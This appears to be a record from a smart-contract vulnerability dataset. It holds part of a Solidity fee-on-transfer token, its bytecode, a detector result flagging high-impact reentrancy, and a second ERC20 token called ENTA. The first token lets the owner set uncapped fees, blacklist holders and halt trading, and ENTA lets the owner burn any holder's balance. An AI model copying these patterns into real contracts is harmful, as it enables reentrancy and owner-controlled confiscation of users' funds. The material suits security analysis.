uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104545780638f9a55c01461047457806395d89b411461048a57806398a5c315146104bc57600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638da5cb5b1461043657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192f565b610607565b005b34801561020a57600080fd5b506040805180820190915260118152705375706572626f776c20496e75204c564960781b60208201525b60405161024191906119f4565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a49565b6106a6565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611a75565b6106bd565b34801561030357600080fd5b506102c960175481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060145461029a906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611ab6565b610726565b34801561037557600080fd5b506101fc610384366004611ae3565b610771565b34801561039557600080fd5b506101fc6107b9565b3480156103aa57600080fd5b506102c96103b9366004611ab6565b6107e6565b3480156103ca57600080fd5b506101fc610808565b3480156103df57600080fd5b506101fc6103ee366004611afe565b61087c565b3480156103ff57600080fd5b506102c960155481565b34801561041557600080fd5b506102c9610424366004611ab6565b60116020526000908152604090205481565b34801561044257600080fd5b506000546001600160a01b031661029a565b34801561046057600080fd5b506101fc61046f366004611ae3565b6108ab565b34801561048057600080fd5b506102c960165481565b34801561049657600080fd5b5060408051808201909152600981526809155411549093d5d360ba1b6020820152610234565b3480156104c857600080fd5b506101fc6104d7366004611afe565b6108f3565b3480156104e857600080fd5b506101fc6104f7366004611b17565b610922565b34801561050857600080fd5b5061026a610517366004611a49565b610960565b34801561052857600080fd5b5061026a610537366004611ab6565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61096d565b34801561056d57600080fd5b506101fc61057c366004611b49565b6109a3565b34801561058d57600080fd5b506102c961059c366004611bcd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611afe565b610a44565b3480156105f357600080fd5b506101fc610602366004611ab6565b610a73565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c06565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c3b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611c67565b91505061063d565b5050565b60006106b3338484610b5d565b5060015b92915050565b60006106ca848484610c81565b61071c843361071785604051806060016040528060288152602001611d81602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bd565b610b5d565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c06565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c06565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d957600080fd5b476107e3816111f7565b50565b6001600160a01b0381166000908152600260205260408120546106b790611231565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161063190611c06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161063190611c06565b601555565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161063190611c06565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161063190611c06565b601755565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161063190611c06565b600893909355600991909155600a55600b55565b60006106b3338484610c81565b6012546001600160a01b0316336001600160a01b03161461098d57600080fd5b6000610998306107e6565b90506107e3816112b5565b6000546001600160a01b031633146109cd5760405162461bcd60e51b815260040161063190611c06565b60005b82811015610a3e5781600560008686858181106109ef576109ef611c3b565b9050602002016020810190610a049190611ab6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3681611c67565b9150506109d0565b50505050565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161063190611c06565b601655565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161063190611c06565b6001600160a01b038116610b025760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610da95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610dd557506000546001600160a01b03838116911614155b156110b657601454600160a01b900460ff16610e6e576000546001600160a01b03848116911614610e6e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601554811115610ec05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0257506001600160a01b03821660009081526010602052604090205460ff16155b610f5a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6014546001600160a01b03838116911614610fdf5760165481610f7c846107e6565b610f869190611c82565b10610fdf5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b6000610fea306107e6565b6017546015549192508210159082106110035760155491505b80801561101a5750601454600160a81b900460ff16155b801561103457506014546001600160a01b03868116911614155b80156110495750601454600160b01b900460ff165b801561106e57506001600160a01b03851660009081526005602052604090205460ff16155b801561109357506001600160a01b03841660009081526005602052604090205460ff16155b156110b3576110a1826112b5565b4780156110b1576110b1476111f7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f857506001600160a01b03831660009081526005602052604090205460ff165b8061112a57506014546001600160a01b0385811691161480159061112a57506014546001600160a01b03848116911614155b15611137575060006111b1565b6014546001600160a01b03858116911614801561116257506013546001600160a01b03848116911614155b1561117457600854600c55600a54600d555b6014546001600160a01b03848116911614801561119f57506013546001600160a01b03858116911614155b156111b157600954600c55600b54600d555b610a3e8484848461143e565b600081848411156111e15760405162461bcd60e51b815260040161063191906119f4565b5060006111ee8486611c9a565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112985760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112a261146c565b90506112ae838261148f565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fd576112fd611c3b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135157600080fd5b505afa158015611365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113899190611cb1565b8160018151811061139c5761139c611c3b565b6001600160a01b0392831660209182029290920101526013546113c29130911684610b5d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fb908590600090869030904290600401611cce565b600060405180830381600087803b15801561141557600080fd5b505af1158015611429573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061144b5761144b6114d1565b6114568484846114ff565b80610a3e57610a3e600e54600c55600f54600d55565b60008060006114796115f6565b9092509050611488828261148f565b9250505090565b60006112ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b600c541580156114e15750600d54155b156114e857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151187611664565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154390876116c1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115729086611703565b6001600160a01b03891660009081526002602052604090205561159481611762565b61159e84836117ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611611828261148f565b82101561162d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116575760405162461bcd60e51b815260040161063191906119f4565b5060006111ee8486611d3f565b60008060008060008060008060006116818a600c54600d546117d0565b925092509250600061169161146c565b905060008060006116a48e878787611825565b919e509c509a509598509396509194505050505091939550919395565b60006112ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bd565b6000806117108385611c82565b9050838110156112ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b600061176c61146c565b9050600061177a8383611875565b306000908152600260205260409020549091506117979082611703565b30600090815260026020526040902055505050565b6006546117b990836116c1565b6006556007546117c99082611703565b6007555050565b60008080806117ea60646117e48989611875565b9061148f565b905060006117fd60646117e48a89611875565b905060006118158261180f8b866116c1565b906116c1565b9992985090965090945050505050565b60008080806118348886611875565b905060006118428887611875565b905060006118508888611875565b905060006118628261180f86866116c1565b939b939a50919850919650505050505050565b600082611884575060006106b7565b60006118908385611d61565b90508261189d8583611d3f565b146112ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e357600080fd5b803561192a8161190a565b919050565b6000602080838503121561194257600080fd5b823567ffffffffffffffff8082111561195a57600080fd5b818501915085601f83011261196e57600080fd5b813581811115611980576119806118f4565b8060051b604051601f19603f830116810181811085821117156119a5576119a56118f4565b6040529182528482019250838101850191888311156119c357600080fd5b938501935b828510156119e8576119d98561191f565b845293850193928501926119c8565b98975050505050505050565b600060208083528351808285015260005b81811015611a2157858101830151858201604001528201611a05565b81811115611a33576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5c57600080fd5b8235611a678161190a565b946020939093013593505050565b600080600060608486031215611a8a57600080fd5b8335611a958161190a565b92506020840135611aa58161190a565b929592945050506040919091013590565b600060208284031215611ac857600080fd5b81356112ae8161190a565b8035801515811461192a57600080fd5b600060208284031215611af557600080fd5b6112ae82611ad3565b600060208284031215611b1057600080fd5b5035919050565b60008060008060808587031215611b2d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5e57600080fd5b833567ffffffffffffffff80821115611b7657600080fd5b818601915086601f830112611b8a57600080fd5b813581811115611b9957600080fd5b8760208260051b8501011115611bae57600080fd5b602092830195509350611bc49186019050611ad3565b90509250925092565b60008060408385031215611be057600080fd5b8235611beb8161190a565b91506020830135611bfb8161190a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7b57611c7b611c51565b5060010190565b60008219821115611c9557611c95611c51565b500190565b600082821015611cac57611cac611c51565b500390565b600060208284031215611cc357600080fd5b81516112ae8161190a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1e5784516001600160a01b031683529383019391830191600101611cf9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7b57611d7b611c51565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d0e9121b5c7156884b4ae1bb0e0a975618580d8899ae9bc1b4bda54712e55d564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,276 |
0xfaA48fD71EaD5FbA0D09BB24ff3B8c0Af1e95849
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Return true if sender is owner or super-owner of the contract
function isOwner() internal view returns(bool success) {
if (msg.sender == owner) return true;
return false;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].safeSub(_value);
balances[_to] = balances[_to].safeAdd(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].safeAdd(_value);
balances[_from] = balances[_from].safeSub(_value);
allowed[_from][msg.sender] = _allowance.safeSub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].safeAdd(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.safeSub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title ENTA is Standard ERC20 token
*/
contract ENTA is StandardToken,Owned {
string public name = "ENTA";
string public symbol = "ENTA";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 2000000000 * (10 ** decimals); // Two billion
uint256 public publicSell = 1530374400;//2018-07-01
bool public allowTransfers = true; // if true then allow coin transfers
mapping (address => bool) public frozenAccount;
event FrozenFunds(address indexed target, bool frozen);
event MinedBalancesUnlocked(address indexed target, uint256 amount);
struct MinedBalance {
uint256 total;
uint256 left;
}
mapping(address => MinedBalance) minedBalances;
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferMined(address to, uint256 tokens) public onlyOwner returns (bool success) {
balances[msg.sender] = balances[msg.sender].safeSub(tokens);
minedBalances[to].total = minedBalances[to].total.safeAdd(tokens);
minedBalances[to].left = minedBalances[to].left.safeAdd(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// - @dev override
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[msg.sender]); // Check if sender is frozen
require(!frozenAccount[to]); // Check if recipient is frozen
}
if (now >= publicSell) {
uint256 month = (now-publicSell)/(30 days);
if(month>=7){
unlockMinedBalances(100);
} else if(month>=6){
unlockMinedBalances(90);
} else if(month>=3){
unlockMinedBalances(80);
} else if(month>=2){
unlockMinedBalances(60);
} else if(month>=1){
unlockMinedBalances(40);
} else if(month>=0){
unlockMinedBalances(20);
}
}
return super.transfer(to,tokens);
}
function unlockMinedBalances(uint256 unlockPercent) internal {
uint256 lockedMinedTokens = minedBalances[msg.sender].total*(100-unlockPercent)/100;
if(minedBalances[msg.sender].left > lockedMinedTokens){
uint256 unlock = minedBalances[msg.sender].left.safeSub(lockedMinedTokens);
minedBalances[msg.sender].left = lockedMinedTokens;
balances[msg.sender] = balances[msg.sender].safeAdd(unlock);
emit MinedBalancesUnlocked(msg.sender,unlock);
}
}
function setAllowTransfers(bool _allowTransfers) onlyOwner public {
allowTransfers = _allowTransfers;
}
function destroyToken(address target, uint256 amount) onlyOwner public {
balances[target] = balances[target].safeSub(amount);
totalSupply = totalSupply.safeSub(amount);
emit Transfer(target, this, amount);
emit Transfer(this, 0, amount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
// @dev override
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
}
return super.transferFrom(_from, _to, _value);
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner].safeAdd(minedBalances[tokenOwner].left);
}
}
|
